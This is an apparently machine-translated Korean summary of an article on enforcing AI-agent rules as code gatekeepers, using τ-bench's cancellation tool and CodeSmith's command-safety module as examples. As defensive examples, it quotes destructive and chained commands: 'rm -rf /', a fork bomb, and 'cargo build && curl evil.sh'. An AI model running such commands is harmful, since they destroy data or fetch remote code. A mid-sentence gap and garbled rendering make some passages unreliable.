CodeSmith 메타 능력: 비즈니스 규칙을 게이트키퍼로 사용하기
요약
본 글은 비즈니스 규칙을 자연어 대신 코드로 구현하여 '우회할 수 없는 제약 조건(Gatekeeper)'으로 사용하는 방법을 다룹니다. 코드 기반의 검증 로직은 모델이 확률적으로 해석하는 자연어 규칙보다 훨씬 강력하며, 에이전트 시스템의 신뢰성을 높입니다. 성숙한 레시피는 이해와 소통을 위한 자연어 규칙과, 중요한 결정 지점에서의 코드 강제 검증(하네스 엔지니어링)을 결합해야 합니다.
핵심 포인트
- 자연어 비즈니스 규칙은 모호하여 에이전트에게 취약점이 될 수 있습니다.
- 코드는 모호하지 않고 실행 가능하며, 강력한 제약 조건 역할을 수행합니다.
- 성숙한 시스템은 자연어(설명)와 코드(검증)를 결합해야 합니다.
- 코드 검증은 전체 정책 매뉴얼이 아닌 핵심 목표물에 집중해야 합니다.
메타 능력: 비즈니스 규칙을 작성하여 게이트키퍼로 삼기
CodeSmith의 원본 버전:
v0.5.0(커밋3a74c82f). 모든 경로는 리포지토리 루트를 기준으로 하며, 줄 번호는 이 버전을 참조합니다.
대상 독자: 프롬프트에 '참고 사항(Notes)' 섹션을 작성했지만, 모델이 이를 무시하는 것을 보고 무력했던 독자들.
시리즈 인덱스: README.
아티클 12에서는 코드가 생각하게 만드는 코드 — 즉 메타 능력의 공격적인 측면 — 에 대해 다루었습니다. 이번 편은 방어적인 측면에 관한 것입니다. 코드를 사용하여 비즈니스 규칙을 표현할 때, 그것은 더 이상 '문제 해결 도구'가 아니라 '우회할 수 없는 제약 조건'이 됩니다. CodeSmith 내에 있는 두 개의 실제 코드인 execpolicy와 command_safety가 이 역할을 수행하며, 본 기사에서는 이들의 소스 코드를 분석합니다.
자연어 규칙은 결코 규칙이 아니다
비즈니스 규칙, 절차, 의사 결정 논리는 — 오직 자연어로만 설명될 경우, 모호함으로 가득하기 쉽습니다. '합리적인 환불 요청'이란 무엇을 의미할까요? '구매 후 7일 이내 환불 가능'은 충분히 명확해 보이지만, 그 7일이 달력 일수(calendar days)인지 영업일(business days)인지요? '구매'란 주문이 접수된 순간인가요, 아니면 배송된 순간인가요?
인간에게 모호함에는 대안이 있습니다: 경험과 상식입니다. 하지만 에이전트에게 모호함은 취약점입니다. 모델이 규칙을 이해하는 것은 확률 분포(probability distribution)이며, 프롬프트 주입(prompt injection)은 이 분포에 위조품을 은밀하게 삽입할 수 있고, 긴 대화는 규칙의 중요도를 희석시킵니다. 확률적 시스템에게 프롬프트에 작성된 규칙은 법이 아니라 제안일 뿐입니다. 코드는 다릅니다: 모호하지 않고 실행 가능합니다 — 작동하거나 아니면 오류를 발생시킬 뿐입니다. 따라서 하네스 엔지니어링(harness engineering)의 핵심 원칙은 다음과 같습니다: 제약 조건을 인코딩하고, 문서화해서는 안 됩니다.
하지만 '인코딩'이 자연어 규칙을 금지한다는 의미는 아닙니다 — 자연어 규칙이 대체할 수 없는 세 가지 역할이 있기 때문입니다:
모델은 자연어 규칙("이 예약이 환불될 수 없는 이유")을 기반으로 사용자에게 정책을 설명해야 합니다.
모델은 우회 방법을 찾아내는 것에 의존합니다. 취소 정책은 막혔지만, 재예약에는 여전히 길이 열려 있으며, 이러한 종류의 "법적 우회로"에 대한 상상력은 검증 코드에서 나오는 것이 아니라 정책을 이해하는 것에서 나옵니다.
도구 호출(tool call) 전에 이루어지는 예비 판단(이것은 거의 통과하지 못할 것이므로, 호출을 낭비하지 마십시오) 또한 프롬프트 계층에서 발생합니다.
따라서 성숙한 레시피는 이 두 가지를 결합합니다: 이해와 통신을 위한 시스템 프롬프트 내의 자연어 규칙; 우회할 수 없는 골키퍼처럼 중요한 결정 지점에서의 코드 강제 검증입니다. 이 기사의 제목을 올바르게 해석하는 방법은 "골키퍼 로서 규칙을 작성하라"는 것입니다. 코드로 들어가는 것은 전체 정책 매뉴얼이 아니라 목표물(goal)입니다.
교과서적인 예시: τ-bench 취소 정책
τ-bench(에이전트가 정책을 얼마나 잘 준수하는지 측정하기 위해 항공 및 전자상거래 고객 서비스를 시뮬레이션하는 벤치마크)는 항공사 취소 도구에 최고의 교육 자료를 숨기고 있습니다. 아래 구현은 공식 τ-bench 리포지토리의 정책 논리에서 각색된 것입니다(원문은 영어이며, 의미가 온전히 유지되도록 재배열되었습니다):
def cancel_reservation(
reservation_id: str,
expected_cabin_class: str = None, # optional: for the model's own pre-check
...
이 하나의 함수는 두 가지 일을 동시에 수행하며, 그 둘 사이의 역할 분담이 바로 가장 정교한 부분입니다.
레이어 1: 사고 체크리스트로서의 파라미터. 도구 설명(tool description)은 전체 정책을 명시하고 모델에게 예약 정보를 불러와 호출하기 전에 항목별로 확인하도록 요청합니다. expected_* 파라미터는 모델이 추론 과정을 명시적으로 작성하게 만듭니다. 예를 들어, expected_cabin_class를 채우려면 먼저 예약 세부 정보를 읽어야 합니다. 모델이 보험이 첨부되지 않은 일반석(economy) 예약을 발견하면, 호출을 준비하는 과정에서 규칙 5(Rule 5)를 매우 높은 확률로 인지하고 아예 호출하지 않으며, 대신 사용자에게 정책을 직접 설명합니다. 이 레이어는 사고 과정을 안내하고 불필요한 호출을 줄이지만, 보안 책임을 지니지는 않습니다. 자체 보고된 값은 사실이 아니라 진술일 뿐입니다.
레이어 2: 서버 측의 실제 데이터 검증(ground-truth validation)이 문지기 역할을 합니다. 객실 등급(Cabin class), 보험, 예약 시간 등 모든 것이 데이터베이스에서 오며, 현재 시간은 서버 시계에서 옵니다. 단 하나의 정책 사실도 모델이 보고한 파라미터에서 가져오지 않습니다. 이것은 과잉 주의가 아닙니다. 모델은 환각(hallucinate)을 일으킬 수 있고, 주입(injection)에 의해 유도될 수 있기 때문입니다. 마지막 방어선은 모델이 위조할 수 없는 데이터 위에 구축되어야 합니다. 보고된 값과 실제 데이터를 비교한 결과는 경고 로그(alert log)로 들어가며,
평문 번역: 명령어의 세계는 '안전/위험'이라는 두 단계의 다이얼이 아니라, '허용 / 인간에게 문의 / 금지'라는 세 단계로 구성되어 있습니다. 규칙 엔진이 판결을 내리고, 최종 거부권은 사람이 갖습니다. 실제 정책(execpolicy/policy.rs)은 프로그램 이름으로 인덱싱된 규칙 테이블(MultiMap<String, RuleRef>)이며, 접두사 규칙, 와일드카드 토큰, 그리고 휴리스틱 폴백이 순차적으로 적용됩니다.
아리티 테이블: 모든 화이트리스트를 일관되게 유지하는 하나의 불변성
crates/agent-runtime/src/command_safety.rs에는 189개의 항목을 가진 아리티 사전(arity dictionary), COMMAND_ARITY가 있어 모든 명령어의 표준 접두사를 확정합니다. 핵심 불변성은 주석(command_safety.rs:37)에 있습니다:
auto_allow = ["git status"] must match `git status -s`,
`git status --porcelain`, etc., but not `git push`.
다시 말해, 플래그는 접두사에 포함되지 않습니다(git status -s는 git status로 정규화되어 화이트리스트에 걸립니다). 반면 위치 인수는 포함됩니다(git push는 다른 접두사이므로 걸리지 않습니다). 화이트리스트는 문자열 접두사가 아닌 동작을 일치시킵니다 — 단순한 접두사 문자열 매칭으로는 git status 화이트리스트가 git status; rm -rf /를 그대로 통과시키게 됩니다. 복합 명령어는 &&/;/|로 분할되어 세그먼트별로 판단됩니다. 모든 세그먼트는 전체 명령이 허용되기 전에 규칙에 걸려야 하며, cargo * 허용만으로는 cargo build && curl evil.sh를 승인할 수 없습니다(Article 20의 세 번째 참고 사항). 이 파일은 총 1952줄로 구성되어 있으며, 전용 단위 테스트(auto_allow_git_status_matches_variants 등)가 이 불변성을 확고히 합니다.
더 이상 위험한 패턴 다섯 가지 없음: 목록을 짧게 유지하는 골키퍼
가장 흥미로운 것은 DANGEROUS_PATTERNS(command_safety.rs:555)입니다. 파일 전체에 걸쳐 5개의 항목이 있습니다: rm -rf /, rm -rf /*, rm -rf ~, rm -rf $HOME, 그리고 포크 폭탄(fork bomb). 주석은 이 목록이 왜 이렇게 짧은지 설명합니다:
Codex는 명시적인 rm -f* / rm -rf 패턴만 플래그 지정합니다. 저희는 이 제한을 따라가서, 종료(shutdown), 재부팅(reboot), killall, docker rm, chown 등 공격적인 패턴들은 제거했습니다. 왜냐하면 이러한 패턴들은...를 생성하기 때문입니다.
먼저 '허수아비 인간(straw man)'을 설정합니다. 직관적으로 골키퍼는 "지금 막고 나중에 사과하는" 것이 좋다고 생각하여, shutdown, killall, docker rm 등 모든 것을 목록에 넣어야 한다고 합니다. 하지만 CodeSmith의 답변은 그 반대입니다. 그러한 패턴들은 일상적인 작업에도 끝없는 승인 팝업을 생성할 것이며, 사용자는 짜증을 내고 YOLO 모드로 전환하게 되어 골키퍼는 완전히 해고됩니다. 따라서 사용자가 거부할 시간이 없는 치명적인 형태(루트 디렉터리 지우기, fork bomb 등)만 하드코딩 금지 처리되었으며, 나머지 모든 것은 사용자에게 실시간으로 판단을 맡기는 Prompt 계층에 전달됩니다. 게다가 이 다섯 가지 패턴은 주 분석 파이프라인과 독립적으로 literal_dangerous_pattern_reason (command_safety.rs:576)에 의해 검사됩니다. fork bomb는 ;와 &를 포함하는데, 이는 메인 파이프라인의 체이닝(chaining) 분기에서 "승인이 필요함"으로 단축 회로(short-circuit)될 수 있습니다. 독립적인 검사는 아무리 깊게 중첩되어 있어도 치명적인 형태가 빨간색으로 플래그 지정되도록 보장합니다.
삼중 안전장치 (The Triple Safeguard)
이를 통해 완성된 방어 체계는 $\tau$-bench의 것과 구조적으로 동형(isomorphic)입니다:
- 시스템 프롬프트 / 도구 설명에 포함된 자연어 규칙은 모델이 이해하고 설명하는 데 도움을 줍니다.
- 호출 전에 명시적인 검사를 유도하는 체크리스트로서의 매개변수 및 스키마 설계(arity normalization, 자체 보고
expected_*매개변수)입니다. - 최후의 보루인 코드 기반 검증 — execpolicy의 3가지 값 판결과 데이터베이스의 실제 진실(ground truth) ($\tau$-bench) 또는 정규화된 명령어 접두사(CodeSmith)가 결합되었으며, 이 모든 것은 모델이 위조할 수 없는 데이터를 기반으로 구축되었습니다.
첫 두 계층은 실수를 드물게 만들고, 세 번째는 실수가 되돌릴 수 없는 손실로 이어지는 것을 막습니다. 코드 기반 검증(code-enforced validation)의 핵심 가치는 토큰을 절약하는 것이 아니라, rm -rf와 같이 단 한 번도 일어나서는 안 되는 일들을 막는 것입니다.
요약
- 에이전트에게 자연어 규칙은 법이 아닌 제안일 뿐이며, 모호성은 취약점입니다.
- $ au$-bench의 설계: 매개변수를 체크리스트로, 서버 측의 정답(ground truth)을 심판으로, 자체 보고 값은 감사용으로만 사용합니다.
- CodeSmith의 동형 구현(isomorphic implementation): 세 가지 값을 가진
Decision, 아리티 불변성(arity invariant), 다섯 가지 치명적 패턴과 독립적인 검사입니다. - 골키퍼는 절제력을 연습해야 합니다: 과도한 차단은 승인 피로(approval fatigue)를 낳고, 승인 피로는 YOLO(You Only Live Once)를 낳습니다 — 이것이 이 시리즈의 '명확하게 문서화된 불신'의 나머지 절반입니다: 모델을 불신하되, 사용자 또한 범죄자로 취급해서는 안 됩니다.
트레이드오프: 아리티 사전(arity dictionary)은 생태계와 발맞춰 유지되어야 하며 (새로운 CLI가 생길 때마다 항목이 필요함), 규칙 테이블의 변경 사항은 프롬프트 내의 규칙과 동기화되어야 합니다 — 이것이 코드로서의 제약 조건에 부과되는 지속적인 비용(standing tax)이며, 여전히 우발적인 삭제 한 번보다 훨씬 저렴합니다.
골키퍼가 자리를 잡으면서, 메타 능력(meta-ability)의 다음 단계는 이 장치를 다시 에이전트 자체에 적용하는 것입니다 — 코드로 에이전트를 복구하고, 코드로 에이전트를 구축하는 것입니다.
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기